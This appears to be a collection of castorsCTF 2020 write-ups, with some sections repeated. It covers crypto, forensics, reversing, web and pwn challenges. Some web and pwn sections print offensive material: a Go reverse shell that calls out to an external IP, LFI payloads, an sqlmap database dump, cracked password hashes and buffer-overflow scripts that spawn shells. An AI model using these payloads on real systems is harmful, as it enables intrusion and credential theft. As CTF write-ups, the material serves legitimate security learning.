## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
Used a bash script to automate the process. It consisted of p7zip to unzip and the mv command to get all the .txts out to another folder. Located file 829.txt and within that was the flag. Complete writeup with photos & script here: https://elnath.io/2020/05/31/zipped-up/ |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
